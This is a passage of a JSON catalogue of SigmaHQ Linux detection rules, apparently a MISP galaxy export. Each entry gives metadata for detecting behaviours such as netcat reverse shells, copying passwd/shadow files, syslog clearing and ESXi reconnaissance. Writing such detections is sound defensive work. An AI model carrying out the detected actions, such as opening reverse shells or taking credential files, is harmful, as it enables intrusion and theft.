          "attack.credential_access",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fa4aaed5-4fe0-498d-bbc0-08e3346387ba",
      "value": "Copy Passwd Or Shadow From TMP Path"
    },
    {
      "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_services_stop_and_disable.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b",
      "value": "Disable Or Stop Services"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"vm\" flag in order to retrieve information about the installed VMs.",
      "meta": {
        "author": "Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_vm_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/",
          "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/",
          "https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html",
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_vm.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vm_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f1573a7-363b-4114-9208-ad7a61de46eb",
      "value": "ESXi VM List Discovery Via ESXCLI"
    },
    {
      "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks",
      "meta": {
        "author": "Max Altgelt (Nextron Systems), Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "Log rotation."
        ],
        "filename": "proc_creation_lnx_clear_syslog.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31",
      "value": "Commands to Clear or Remove the Syslog"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"storage\" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_storage_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html",
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_storage.html",
          "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_storage_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f41dada5-3f56-4232-8503-3fb7f9cf2d60",
      "value": "ESXi Storage Information Discovery Via ESXCLI"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"network\" flag in order to retrieve information about the network configuration.",
      "meta": {
        "author": "Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_network_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_network.html",
          "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_network_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "33e814e0-1f00-4e43-9c34-31fb7ae2b174",
      "value": "ESXi Network Configuration Discovery Via ESXCLI"
    },
    {
      "description": "Detects java process spawning suspicious children",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_susp_java_children.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.tecmint.com/different-types-of-linux-shells/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892",
      "value": "Suspicious Java Children Processes"
    },
    {
      "description": "Detects listing of the inodes of the \"/\" directory to determine if the we are running inside of a container.",
      "meta": {
        "author": "Seth Hanford",
        "creation_date": "2023/08/23",
        "falsepositive": [
          "Legitimate system administrator usage of these commands",
          "Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered"
        ],
        "filename": "proc_creation_lnx_susp_inod_listing.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker",
          "https://blog.skyplabs.net/posts/container-detection/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_inod_listing.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "43e26eb5-cd58-48d1-8ce9-a273f5d298d8",
      "value": "Potential Container Discovery Via Inodes Listing"
    },
    {
      "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_process_discovery.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1057"
        ]
      },
      "related": [
        {
          "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b",
      "value": "Process Discovery"
    },
    {
      "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Administrator interacting with immutable files (e.g. for instance backups)."
        ],
        "filename": "proc_creation_lnx_chattr_immutable_removal.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12",
      "value": "Remove Immutable File Attribute"
    },
    {
      "description": "Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.",
      "meta": {
        "author": "@d4ns4n_ (Wuerth-Phoenix)",
        "creation_date": "2023/05/30",
        "falsepositive": [
          "Some false positives are to be expected on user or administrator machines. Apply additional filters as needed."
        ],
        "filename": "proc_creation_lnx_susp_sensitive_file_access.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview#which-files-should-i-monitor",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_sensitive_file_access.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1565.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "86157017-c2b1-4d4a-8c33-93b8e67e4af4",
      "value": "Potential Suspicious Change To Sensitive/Critical Files"
    },
    {
      "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand."
        ],
        "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure",
          "https://github.com/Azure/Azure-Sentinel/pull/3059",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.initial_access",
          "attack.execution",
          "attack.t1068",
          "attack.t1190",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a",
      "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand"
    },
    {
      "description": "Detects execution of netcat with the \"-e\" flag followed by common shells. This could be a sign of a potential reverse shell setup.",
      "meta": {
        "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/07",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_lnx_netcat_reverse_shell.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.infosecademy.com/netcat-reverse-shells/",
          "https://www.revshells.com/",
          "https://man7.org/linux/man-pages/man1/ncat.1.html",
          "https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_netcat_reverse_shell.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7f734ed0-4f47-46c0-837f-6ee62505abd9",
      "value": "Potential Netcat Reverse Shell Execution"
    },
    {
      "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments",
      "meta": {
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/06",
        "falsepositive": [
          "Administrators or installed processes that leverage nohup"
        ],
        "filename": "proc_creation_lnx_nohup.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.computerhope.com/unix/unohup.htm",
          "https://en.wikipedia.org/wiki/Nohup",
          "https://gtfobins.github.io/gtfobins/nohup/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2",
      "value": "Nohup Execution"
    },
    {
      "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_install_root_certificate.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee",
      "value": "Install Root Certificate"
    },
    {
      "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_crontab_removal.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67",
      "value": "Remove Scheduled Cron Task/Job"
    },
    {
      "description": "Detects the creation of a new named pipe using the \"mkfifo\" utility in a potentially suspicious location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk",
          "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "999c3b12-0a8c-40b6-8e13-dd7d62b75c7a",
      "value": "Potentially Suspicious Named Pipe Created Via Mkfifo"
    },
    {
      "description": "Detects setting proxy configuration",
      "meta": {
        "author": "Ömer Günal",
        "creation_date": "2020/06/17",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_proxy_connection.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://attack.mitre.org/techniques/T1090/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c",
      "value": "Connection Proxy"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"vsan\" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_vsan_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html",
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_vsan.html",
          "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_vsan_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "attack.t1007"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d54c2f06-aca9-4e2b-81c9-5317858f4b79",
      "value": "ESXi VSAN Information Discovery Via ESXCLI"
    },
    {
      "description": "Detects listing or file reading of \".dockerenv\" which can be a sing of potential container discovery",
      "meta": {
        "author": "Seth Hanford",
        "creation_date": "2023/08/23",
        "falsepositive": [
          "Legitimate system administrator usage of these commands",
          "Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered"
        ],
        "filename": "proc_creation_lnx_susp_dockerenv_recon.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker",
          "https://blog.skyplabs.net/posts/container-detection/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_dockerenv_recon.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "11701de9-d5a5-44aa-8238-84252f131895",
      "value": "Docker Container Discovery Via Dockerenv Listing"
    },
    {
      "description": "Detects user account creation on ESXi system via esxcli",
      "meta": {
        "author": "Cedric Maurugeon",
        "creation_date": "2023/08/22",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_user_account_creation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_system.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_user_account_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136"
        ]
      },
      "related": [
        {
          "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b28e4eb3-8bbc-4f0c-819f-edfe8e2f25db",
      "value": "ESXi Account Creation Via ESXCLI"
    },
    {
      "description": "Detects common command used to enable bpf kprobes tracing",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_bpf_kprob_tracing_enabled.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.kernel.org/doc/html/v5.0/trace/kprobetrace.html",
          "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/",
          "https://bpftrace.org/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpf_kprob_tracing_enabled.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "uuid": "7692f583-bd30-4008-8615-75dab3f08a99",
      "value": "Enable BPF Kprobes Tracing"
    },
    {
      "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_file_deletion.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57",
      "value": "File Deletion"
    },
    {
      "description": "Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.",
      "meta": {
        "author": "Muhammad Faisal",
        "creation_date": "2023/08/03",
        "falsepositive": [
          "Legitimate activity of system administrators"
        ],
        "filename": "proc_creation_lnx_ssm_agent_abuse.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan",
          "https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/",
          "https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ssm_agent_abuse.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.persistence",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f9b3edc5-3322-4fc7-8aa3-245d646cc4b7",
      "value": "Potential Linux Amazon SSM Agent Hijacking"
    },
    {
      "description": "Detects execution of the \"esxcli\" command with the \"system\" and \"permission\" flags in order to assign admin permissions to an account.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/04",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_esxcli_permission_change_admin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://developer.vmware.com/docs/11743/esxi-7-0-esxcli-command-reference/namespace/esxcli_system.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_permission_change_admin.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "9691f58d-92c1-4416-8bf3-2edd753ec9cf",
      "value": "ESXi Admin Permission Assigned To Account Via ESXCLI"
    },
    {
      "description": "Detects potential container discovery via listing of certain kernel features in the \"/proc\" virtual filesystem",
      "meta": {
        "author": "Seth Hanford",
        "creation_date": "2023/08/23",
        "falsepositive": [
          "Legitimate system administrator usage of these commands",
          "Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered"
        ],
        "filename": "proc_creation_lnx_susp_container_residence_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker",
          "https://blog.skyplabs.net/posts/container-detection/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_container_residence_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "746c86fb-ccda-4816-8997-01386263acc4",
      "value": "Container Residence Discovery Via Proc Virtual FS"
    },
    {
      "description": "Detects execution of the \"mount\" command with \"hidepid\" parameter to make invisible processes to other users from the system",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/01/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_mount_hidepid.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/",
          "https://blogs.blackberry.com/",
          "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1564"
        ]
      },
      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ec52985a-d024-41e3-8ff6-14169039a0b3",
      "value": "Mount Execution With Hidepid Parameter"
    },
    {
      "description": "Detects the use of wget to download content to a suspicious directory",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_wget_download_suspicious_directory.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
